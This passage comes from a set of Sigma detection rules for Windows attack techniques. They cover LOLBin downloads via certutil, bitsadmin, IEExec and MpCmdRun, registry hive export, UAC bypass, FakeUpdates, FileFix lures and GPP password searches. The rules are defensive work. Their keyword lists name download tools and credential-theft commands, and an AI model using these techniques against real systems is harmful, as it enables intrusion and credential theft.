        ParentImage|endswith: 'DesktopCentral_Server\jre\bin\java.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\bitsadmin.exe'
            - '\systeminfo.exe'
            - '\net.exe'
            - '\net1.exe'
            - '\reg.exe'
            - '\query.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

title: Exploiting SetupComplete.cmd CVE-2019-1378
id: 1c373b6d-76ce-4553-997d-8c1da9a6b5f5
status: test
description: Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378
references:
    - https://web.archive.org/web/20200530031708/https://www.embercybersecurity.com/blog/cve-2019-1378-exploiting-an-access-control-privilege-escalation-vulnerability-in-windows-10-update-assistant-wua
author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro
date: 2019-11-15
modified: 2021-11-27
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.stealth
    - attack.t1068
    - attack.execution
    - attack.t1059.003
    - attack.t1574
    - cve.2019-1378
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentCommandLine|contains|all:
            - '\cmd.exe'
            - '/c'
            - 'C:\Windows\Setup\Scripts\'
        ParentCommandLine|endswith:
            - 'SetupComplete.cmd'
            - 'PartnerSetupComplete.cmd'
    filter:
        Image|startswith:
            - 'C:\Windows\System32\'
            - 'C:\Windows\SysWOW64\'
            - 'C:\Windows\WinSxS\'
            - 'C:\Windows\Setup\'
    condition: selection and not filter
falsepositives:
    - Unknown
level: high

title: Explorer NOUACCHECK Flag
id: 534f2ef7-e8a2-4433-816d-c91bccde289b
status: test
description: Detects suspicious starts of explorer.exe that use the /NOUACCHECK flag that allows to run all sub processes of that newly started explorer.exe without any UAC checks
references:
    - https://twitter.com/ORCA6665/status/1496478087244095491
author: Florian Roth (Nextron Systems)
date: 2022-02-23
modified: 2022-04-21
tags:
    - attack.privilege-escalation
    - attack.t1548.002
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\explorer.exe'
        CommandLine|contains: '/NOUACCHECK'
    filter_dc_logon:
        - ParentCommandLine: 'C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule'
        - ParentImage: 'C:\Windows\System32\svchost.exe' # coarse filter needed for ID 4688 Events
    condition: selection and not 1 of filter_*
falsepositives:
    - Domain Controller User Logon
    - Unknown how many legitimate software products use that method
level: high

title: Exports Critical Registry Keys To a File
id: 82880171-b475-4201-b811-e9c826cd5eaa
related:
    - id: f0e53e89-8d22-46ea-9db5-9d4796ee2f8a
      type: similar
status: test
description: Detects the export of a crital Registry key to a file.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Regedit/
    - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
author: Oddvar Moe, Sander Wiebing, oscd.community
date: 2020-10-12
modified: 2024-03-13
tags:
    - attack.exfiltration
    - attack.discovery
    - attack.t1012
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\regedit.exe'
        - OriginalFileName: 'REGEDIT.EXE'
    selection_cli_1:
        CommandLine|contains|windash: ' -E '
    selection_cli_2:
        CommandLine|contains:
            - 'hklm'
            - 'hkey_local_machine'
    selection_cli_3:
        CommandLine|endswith:
            - '\system'
            - '\sam'
            - '\security'
    condition: all of selection_*
falsepositives:
    - Dumping hives for legitimate purpouse i.e. backup or forensic investigation
level: high

title: Exports Registry Key To an Alternate Data Stream
id: 0d7a9363-af70-4e7b-a3b7-1a176b7fbe84
status: test
description: Exports the target Registry key and hides it in the specified alternate data stream.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Regedit/
    - https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
author: Oddvar Moe, Sander Wiebing, oscd.community
date: 2020-10-07
modified: 2021-11-27
tags:
    - attack.stealth
    - attack.t1564.004
logsource:
    product: windows
    category: create_stream_hash
detection:
    selection:
        Image|endswith: '\regedit.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

title: External Remote SMB Logon from Public IP
id: 78d5cab4-557e-454f-9fb9-a222bd0d5edc
related:
    - id: 259a9cdf-c4dd-4fa2-b243-2269e5ab18a2
      type: derived
status: test
description: Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.
references:
    - https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html
    - https://twitter.com/Purp1eW0lf/status/1616144561965002752
author: Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)
date: 2023-01-19
modified: 2024-03-11
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.credential-access
    - attack.stealth
    - attack.t1133
    - attack.t1078
    - attack.t1110
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4624
        LogonType: 3
    filter_main_local_ranges:
        IpAddress|cidr:
            - '::1/128'  # IPv6 loopback
            - '10.0.0.0/8'
            - '127.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
            - 'fc00::/7'  # IPv6 private addresses
            - 'fe80::/10'  # IPv6 link-local addresses
    filter_main_empty:
        IpAddress: '-'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Legitimate or intentional inbound connections from public IP addresses on the SMB port.
level: high

title: Failed MSExchange Transport Agent Installation
id: c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa
status: test
description: Detects a failed installation of a Exchange Transport Agent
references:
    - https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=8
author: Tobias Michalski (Nextron Systems)
date: 2021-06-08
modified: 2022-07-12
tags:
    - attack.persistence
    - attack.t1505.002
logsource:
    service: msexchange-management
    product: windows
    # warning: The 'data' field used in the detection section is the container for the event data as a whole. You may have to adapt the rule for your backend accordingly
detection:
    selection:
        EventID: 6
        Data|contains: 'Install-TransportAgent'
    condition: selection
falsepositives:
    - Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this.
level: high

title: FakeUpdates/SocGholish Activity
id: 97805087-93ab-4203-b5cb-287cda6aecaa
status: test
description: Detects initial execution of FakeUpdates/SocGholish malware via wscript that later executes commands via cmd or powershell.
references:
    - https://twitter.com/th3_protoCOL/status/1536788652889497600
    - https://twitter.com/1ZRR4H/status/1537501582727778304
author: '@kostastsale'
date: 2022-06-16
modified: 2024-08-23
tags:
    - attack.execution
    - attack.t1059.001
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\wscript.exe'
        ParentCommandLine|contains|all:
            - '\AppData\Local\Temp'
            - '.zip'
            - 'update'
            - '.js'
        ParentCommandLine|contains:
            - 'Chrome'
            - 'Edge'
            - 'Firefox'
            - 'Opera'
            - 'Brave' # Not seen in campaigns
            - 'Vivaldi' # Not seen in campaigns
        Image|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
    condition: selection
falsepositives:
    - Unlikely
level: high

title: Fax Service DLL Search Order Hijack
id: 828af599-4c53-4ed2-ba4a-a9f835c434ea
status: test
description: The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.
references:
    - https://windows-internals.com/faxing-your-way-to-system/
author: NVISO
date: 2020-05-04
modified: 2022-06-02
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\fxssvc.exe'
        ImageLoaded|endswith: 'ualapi.dll'
    filter:
        ImageLoaded|startswith: 'C:\Windows\WinSxS\'
    condition: selection and not filter
falsepositives:
    - Unlikely
level: high

title: File Creation In Suspicious Directory By Msdt.EXE
id: 318557a5-150c-4c8d-b70e-a9910e199857
status: test
description: Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities
references:
    - https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd
    - https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
author: Vadim Varganov, Florian Roth (Nextron Systems)
date: 2022-08-24
modified: 2023-02-23
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
    - cve.2022-30190
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: '\msdt.exe'
        TargetFilename|contains:
            - '\Desktop\'
            - '\Start Menu\Programs\Startup\'
            - 'C:\PerfLogs\'
            - 'C:\ProgramData\'
            - 'C:\Users\Public\'
    condition: selection
falsepositives:
    - Unknown
level: high

title: File Creation Related To RAT Clients
id: 2f3039c8-e8fe-43a9-b5cf-dcd424a2522d
status: experimental
description: |
    File .conf created related to VenomRAT, AsyncRAT and Lummac samples observed in the wild.
references:
    - https://www.virustotal.com/gui/file/c9f9f193409217f73cc976ad078c6f8bf65d3aabcf5fad3e5a47536d47aa6761
    - https://www.virustotal.com/gui/file/e96a0c1bc5f720d7f0a53f72e5bb424163c943c24a437b1065957a79f5872675
author: Joseliyo Sanchez, @Joseliyo_Jstnk
date: 2024-12-19
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: file_event
    product: windows
detection:
    # VT Query: behaviour_files:"\\AppData\\Roaming\\DataLogs\\DataLogs.conf"
    # VT Query: behaviour_files:"DataLogs.conf" or behaviour_files:"hvnc.conf" or behaviour_files:"dcrat.conf"
    selection_required:
        TargetFilename|contains: '\AppData\Roaming\'
    selection_variants:
        TargetFilename|contains:
            - '\mydata\'
            - '\datalogs\'
            - '\hvnc\'
            - '\dcrat\'
        TargetFilename|endswith:
            - '\datalogs.conf'
            - '\hvnc.conf'
            - '\dcrat.conf'
    condition: all of selection_*
falsepositives:
    - Legitimate software creating a file with the same name
level: high

title: File Decoded From Base64/Hex Via Certutil.EXE
id: cc9cbe82-7bc0-4ef5-bc23-bbfb83947be7
status: test
description: Detects the execution of certutil with either the "decode" or "decodehex" flags to decode base64 or hex encoded files. This can be abused by attackers to decode an encoded payload before execution
references:
    - https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
    - https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/
    - https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
    - https://twitter.com/JohnLaTwC/status/835149808817991680
    - https://learn.microsoft.com/en-us/archive/blogs/pki/basic-crl-checking-with-certutil
    - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community
date: 2023-02-15
modified: 2025-06-04
tags:
    - attack.stealth
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_cli:
        CommandLine|contains|windash:
            - '-decode ' # Decode Base64
            - '-decodehex ' # Decode Hex
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_decode/info.yml

title: File Download And Execution Via IEExec.EXE
id: 9801abb8-e297-4dbf-9fbd-57dde0e830ad
status: test
description: Detects execution of the IEExec utility to download and execute files
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Ieexec/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-05-16
modified: 2023-11-09
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\IEExec.exe'
        - OriginalFileName: 'IEExec.exe'
    selection_cli:
        CommandLine|contains:
            - 'http://'
            - 'https://'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: File Download From IP Based URL Via CertOC.EXE
id: b86f6dea-0b2f-41f5-bdcc-a057bd19cd6a
related:
    - id: 70ad0861-d1fe-491c-a45f-fa48148a300d
      type: similar
status: test
description: Detects when a user downloads a file from an IP based URL using CertOC.exe
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Certoc/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-10-18
tags:
    - attack.command-and-control
    - attack.execution
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certoc.exe'
        - OriginalFileName: 'CertOC.exe'
    selection_ip:
        CommandLine|re: '://[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'
    selection_cli:
        CommandLine|contains: '-GetCACAPS'
    condition: all of selection*
falsepositives:
    - Unknown
level: high

title: File Download Using Notepad++ GUP Utility
id: 44143844-0631-49ab-97a0-96387d6b2d7c
status: test
description: Detects execution of the Notepad++ updater (gup) from a process other than Notepad++ to download files.
references:
    - https://twitter.com/nas_bench/status/1535322182863179776
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-10
modified: 2023-03-02
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\GUP.exe'
        - OriginalFileName: 'gup.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' -unzipTo '
            - 'http'
    filter:
        ParentImage|endswith: '\notepad++.exe'
    condition: all of selection* and not filter
falsepositives:
    - Other parent processes other than notepad++ using GUP that are not currently identified
level: high

title: File Download Via Bitsadmin To A Suspicious Target Folder
id: 2ddef153-167b-4e89-86b6-757a9e65dcac
related:
    - id: 6e30c82f-a9f8-4aab-b79c-7c12bce6f248
      type: obsolete
    - id: 1cf465a1-2609-4c15-9b66-c32dbe4bfd67
      type: similar
status: test
description: Detects usage of bitsadmin downloading a file to a suspicious target folder
references:
    - https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
    - https://isc.sans.edu/diary/22264
    - https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
    - https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-28
modified: 2025-12-10
tags:
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1197
    - attack.s0190
    - attack.t1036.003
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\bitsadmin.exe'
        - OriginalFileName: 'bitsadmin.exe'
    selection_flags:
        CommandLine|contains:
            - ' /transfer '
            - ' /create '
            - ' /addfile '
    selection_folder:
        CommandLine|contains:
            - ':\Perflogs'
            - ':\ProgramData\'
            - ':\Temp\'
            - ':\Users\Public\'
            - ':\Windows\'
            - '\$Recycle.Bin\'
            - '\AppData\Local\'
            - '\AppData\Roaming\'
            - '\Contacts\'
            - '\Desktop\'
            - '\Favorites\'
            - '\Favourites\'
            - '\inetpub\wwwroot\'
            - '\Music\'
            - '\Pictures\'
            - '\Start Menu\Programs\Startup\'
            - '\Users\Default\'
            - '\Videos\'
            - '%ProgramData%'
            - '%public%'
            - '%temp%'
            - '%tmp%'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder/info.yml
simulation:
    - type: atomic-red-team
      name: Windows - BITSAdmin BITS Download
      technique: T1105
      atomic_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b

title: File Download Via Windows Defender MpCmpRun.EXE
id: 46123129-1024-423e-9fae-43af4a0fa9a5
status: test
description: Detects the use of Windows Defender MpCmdRun.EXE to download files
references:
    - https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866
    - https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/
author: Matthew Matchen
date: 2020-09-04
modified: 2023-11-09
tags:
    - attack.stealth
    - attack.t1218
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - OriginalFileName: 'MpCmdRun.exe'
        - Image|endswith: '\MpCmdRun.exe'
        - CommandLine|contains: 'MpCmdRun.exe'
        - Description: 'Microsoft Malware Protection Command Line Utility'
    selection_cli:
        CommandLine|contains|all:
            - 'DownloadFile'
            - 'url'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: File Download with Headless Browser
id: 0e8cfe08-02c9-4815-a2f8-0d157b7ed33e
related:
    - id: ef9dcfed-690c-4c5d-a9d1-482cd422225c
      type: derived
status: test
description: Detects execution of chromium based browser in headless mode using the "dump-dom" command line to download files
references:
    - https://twitter.com/mrd0x/status/1478234484881436672?s=12
    - https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
author: Sreeman, Florian Roth (Nextron Systems)
date: 2022-01-04
modified: 2025-10-07
tags:
    - attack.command-and-control
    - attack.stealth
    - attack.t1105
    - attack.t1564.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\brave.exe'
            - '\chrome.exe'
            - '\msedge.exe'
            - '\opera.exe'
            - '\vivaldi.exe'
        CommandLine|contains|all:
            - '--headless'
            - 'dump-dom'
            - 'http'
    filter_optional_edge_1:
        Image|startswith:
            - 'C:\Program Files (x86)\Microsoft\Edge\Application\'
            - 'C:\Program Files (x86)\Microsoft\EdgeCore\'
            - 'C:\Program Files (x86)\Microsoft\EdgeWebView\'
            - 'C:\Program Files\Microsoft\Edge\Application\'
            - 'C:\Program Files\Microsoft\EdgeCore\'
            - 'C:\Program Files\Microsoft\EdgeWebView\'
            - 'C:\Program Files\WindowsApps\Microsoft.MicrosoftEdge'
        Image|endswith:
            - '\msedge.exe'
            - '\msedgewebview2.exe'
            - '\MicrosoftEdge.exe'
        CommandLine|contains: '--headless --disable-gpu --disable-extensions --disable-plugins --mute-audio --no-first-run --incognito --aggressive-cache-discard --dump-dom'
    filter_optional_edge_2:
        Image|contains:
            - '\AppData\Local\Microsoft\WindowsApps\'
            - '\Windows\SystemApps\Microsoft.MicrosoftEdge'
        Image|endswith:
            - '\msedge.exe'
            - '\MicrosoftEdge.exe'
        CommandLine|contains: '--headless --disable-gpu --disable-extensions --disable-plugins --mute-audio --no-first-run --incognito --aggressive-cache-discard --dump-dom'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download/info.yml

title: File Encryption/Decryption Via Gpg4win From Suspicious Locations
id: e1e0b7d7-e10b-4ee4-ac49-a4bda05d320d
status: test
description: Detects usage of Gpg4win to encrypt/decrypt files located in potentially suspicious locations.
references:
    - https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
    - https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
author: Nasreddine Bencherchali (Nextron Systems), X__Junior (Nextron Systems)
date: 2022-11-30
modified: 2023-08-09
tags:
    - attack.execution
logsource:
    category: process_creation
    product: windows
detection:
    selection_metadata:
        - Image|endswith:
              - '\gpg.exe'
              - '\gpg2.exe'
        - Product: 'GNU Privacy Guard (GnuPG)'
        - Description: 'GnuPG’s OpenPGP tool'
    selection_cli:
        CommandLine|contains: '-passphrase'
    selection_paths:
        CommandLine|contains:
            - ':\PerfLogs\'
            - ':\Temp\'
            - ':\Users\Public\'
            - ':\Windows\Temp\'
            - '\AppData\Local\Temp\'
            - '\AppData\Roaming\'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: File Explorer Folder Opened Using Explorer Folder Shortcut Via Shell
id: c3d76afc-93df-461e-8e67-9b2bad3f2ac4
status: test
description: |
    Detects the initial execution of "cmd.exe" which spawns "explorer.exe" with the appropriate command line arguments for opening the "My Computer" folder.
author: '@Kostastsale'
references:
    - https://ss64.com/nt/shell.html
date: 2022-12-22
modified: 2024-08-23
tags:
    - attack.discovery
    - attack.t1135
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
        Image|endswith: '\explorer.exe'
        CommandLine|contains: 'shell:mycomputerfolder'
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_explorer_folder_shortcut_via_shell_binary/info.yml

title: File In Suspicious Location Encoded To Base64 Via Certutil.EXE
id: 82a6714f-4899-4f16-9c1e-9a333544d4c3
related:
    - id: e62a9f0c-ca1e-46b2-85d5-a6da77f86d1a
      type: derived
status: test
description: Detects the execution of certutil with the "encode" flag to encode a file to base64 where the files are located in potentially suspicious locations
references:
    - https://www.virustotal.com/gui/file/35c22725a92d5cb1016b09421c0a6cdbfd860fd4778b3313669b057d4a131cb7/behavior
    - https://www.virustotal.com/gui/file/427616528b7dbc4a6057ac89eb174a3a90f7abcf3f34e5a359b7a910d82f7a72/behavior
    - https://www.virustotal.com/gui/file/34de4c8beded481a4084a1fd77855c3e977e8ac643e5c5842d0f15f7f9b9086f/behavior
    - https://www.virustotal.com/gui/file/4abe1395a09fda06d897a9c4eb247278c1b6cddda5d126ce5b3f4f499e3b8fa2/behavior
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-15
modified: 2024-03-05
tags:
    - attack.stealth
    - attack.t1027
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\certutil.exe'
        - OriginalFileName: 'CertUtil.exe'
    selection_cli:
        CommandLine|contains|windash: '-encode'
    selection_extension:
        CommandLine|contains:
            # Note: Add more suspicious locations to increase coverage
            - '\AppData\Roaming\'
            - '\Desktop\'
            - '\Local\Temp\'
            - '\PerfLogs\'
            - '\Users\Public\'
            - '\Windows\Temp\'
            - '$Recycle.Bin'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_certutil_encode_susp_location/info.yml

title: File With Suspicious Extension Downloaded Via Bitsadmin
id: 5b80a791-ad9b-4b75-bcc1-ad4e1e89c200
status: test
description: Detects usage of bitsadmin downloading a file with a suspicious extension
references:
    - https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
    - https://isc.sans.edu/diary/22264
    - https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2022-06-28
modified: 2023-05-30
tags:
    - attack.persistence
    - attack.execution
    - attack.stealth
    - attack.t1197
    - attack.s0190
    - attack.t1036.003
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\bitsadmin.exe'
        - OriginalFileName: 'bitsadmin.exe'
    selection_flags:
        CommandLine|contains:
            - ' /transfer '
            - ' /create '
            - ' /addfile '
    selection_extension:
        CommandLine|contains:
            - '.7z'
            - '.asax'
            - '.ashx'
            - '.asmx'
            - '.asp'
            - '.aspx'
            - '.bat'
            - '.cfm'
            - '.cgi'
            - '.chm'
            - '.cmd'
            - '.dll'
            - '.gif'
            - '.jpeg'
            - '.jpg'
            - '.jsp'
            - '.jspx'
            - '.log'
            - '.png'
            - '.ps1'
            - '.psm1'
            - '.rar'
            - '.scf'
            - '.sct'
            - '.txt'
            - '.vbe'
            - '.vbs'
            - '.war'
            - '.wsf'
            - '.wsh'
            - '.xll'
            - '.zip'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions/info.yml
simulation:
    - type: atomic-red-team
      name: Windows - BITSAdmin BITS Download
      technique: T1105
      atomic_guid: a1921cd3-9a2d-47d5-a891-f1d0f2a7a31b

title: File With Uncommon Extension Created By An Office Application
id: c7a74c80-ba5a-486e-9974-ab9e682bc5e4
status: test
description: Detects the creation of files with an executable or script extension by an Office application.
references:
    - https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
    - https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml
author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems)
date: 2021-08-23
modified: 2025-10-17
tags:
    - attack.t1204.002
    - attack.execution
logsource:
    product: windows
    category: file_event
detection:
    # Note: Please add more file extensions to the logic of your choice.
    selection1:
        Image|endswith:
            - '\excel.exe'
            - '\msaccess.exe'
            - '\mspub.exe'
            - '\powerpnt.exe'
            - '\visio.exe'
            - '\winword.exe'
    selection2:
        TargetFilename|endswith:
            - '.bat'
            - '.cmd'
            - '.com'
            - '.dll'
            - '.exe'
            - '.hta'
            - '.ocx'
            - '.proj'
            - '.ps1'
            - '.scf'
            - '.scr'
            - '.sys'
            - '.vbe'
            - '.vbs'
            - '.wsf'
            - '.wsh'
    filter_main_localassembly:
        TargetFilename|contains: '\AppData\Local\assembly\tmp\'
        TargetFilename|endswith: '.dll'
    filter_optional_webservicecache: # matches e.g. directory with name *.microsoft.com
        TargetFilename|contains|all:
            - 'C:\Users\'
            - '\AppData\Local\Microsoft\Office\'
            - '\WebServiceCache\AllUsers'
        TargetFilename|endswith: '.com'
    filter_optional_webex:
        Image|endswith: '\winword.exe'
        TargetFilename|contains: '\AppData\Local\Temp\webexdelta\'
        TargetFilename|endswith:
            - '.dll'
            - '.exe'
    filter_optional_backstageinappnavcache: # matches e.g. C:\Users\xxxxx\AppData\Local\Microsoft\Office\16.0\BackstageInAppNavCache\[email protected]
        TargetFilename|contains|all:
            - 'C:\Users\'
            - '\AppData\Local\Microsoft\Office\'
            - '\BackstageInAppNavCache\'
        TargetFilename|endswith: '.com'
    condition: all of selection* and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Unknown
level: high

title: FileFix - Command Evidence in TypedPaths
id: 4fee3d51-8069-4a4c-a0f7-924fcaff2c70
related:
    - id: 4be03877-d5b6-4520-85c9-a5911c0a656c
      type: similar
status: experimental
description: |
    Detects commonly-used chained commands and strings in the most recent 'url' value of the 'TypedPaths' key, which could be indicative of a user being targeted by the FileFix technique.
references:
    - https://x.com/russianpanda9xx/status/1940831134759506029
    - https://mrd0x.com/filefix-clickfix-alternative/
    - https://www.scpx.com.au/2025/11/16/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
author: Alfie Champion (delivr.to), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-07-05
modified: 2025-11-19
tags:
    - attack.execution
    - attack.t1204.004
logsource:
    category: registry_set
    product: windows
detection:
    selection_base:
        TargetObject|endswith: '\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths\url1'
        Details|contains|all:
            - '#'
            - 'http'
    selection_cmd:
        - Details|contains:
              # Add more suspicious keywords
              - 'account'
              - 'anti-bot'
              - 'botcheck'
              - 'captcha'
              - 'challenge'
              - 'confirmation'
              - 'fraud'
              - 'human'
              - 'identification'
              - 'identificator'
              - 'identity'
              - 'robot'
              - 'validation'
              - 'verification'
              - 'verify'
        - Details|contains:
              - '%comspec%'
              - 'bitsadmin'
              - 'certutil'
              - 'cmd'
              - 'cscript'
              - 'curl'
              - 'finger'
              - 'mshta'
              - 'powershell'
              - 'pwsh'
              - 'regsvr32'
              - 'rundll32'
              - 'schtasks'
              - 'wget'
              - 'wscript'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Findstr GPP Passwords
id: 91a2c315-9ee6-4052-a853-6f6a8238f90d
status: test
description: Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr
author: frack113
date: 2021-12-27
modified: 2023-11-11
tags:
    - attack.credential-access
    - attack.t1552.006
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\find.exe'
              - '\findstr.exe'
        - OriginalFileName:
              - 'FIND.EXE'
              - 'FINDSTR.EXE'
    selection_cli:
        CommandLine|contains|all:
            - 'cpassword'
            - '\sysvol\'
            - '.xml'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_findstr_gpp_passwords/info.yml
simulation:
    - type: atomic-red-team
      name: GPP Passwords (findstr)
      technique: T1552.006
      atomic_guid: 870fe8fb-5e23-4f5f-b89d-dd7fe26f3b5f

title: Finger.EXE Execution
id: af491bca-e752-4b44-9c86-df5680533dbc
related:
    - id: c082c2b0-525b-4dbc-9a26-a57dc4692074
      type: similar
    - id: 2fdaf50b-9fd5-449f-ba69-f17248119af6
      type: similar
status: test
description: |
    Detects execution of the "finger.exe" utility.
    Finger.EXE or "TCPIP Finger Command" is an old utility that is still present on modern Windows installation. It Displays information about users on a specified remote computer (typically a UNIX computer) that is running the finger service or daemon.
    Due to the old nature of this utility and the rareness of machines having the finger service. Any execution of "finger.exe" can be considered "suspicious" and worth investigating.
references:
    - https://twitter.com/bigmacjpg/status/1349727699863011328?s=12
    - https://app.any.run/tasks/40115012-a919-4208-bfed-41e82cb3dadf/
    - http://hyp3rlinx.altervista.org/advisories/Windows_TCPIP_Finger_Command_C2_Channel_and_Bypassing_Security_Software.txt
author: Florian Roth (Nextron Systems), omkar72, oscd.community
date: 2021-02-24
modified: 2024-06-27
tags:
    - attack.command-and-control
    - attack.t1105
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - OriginalFileName: 'finger.exe'
        - Image|endswith: '\finger.exe'
    condition: selection
falsepositives:
    - Admin activity (unclear what they do nowadays with finger.exe)
level: high
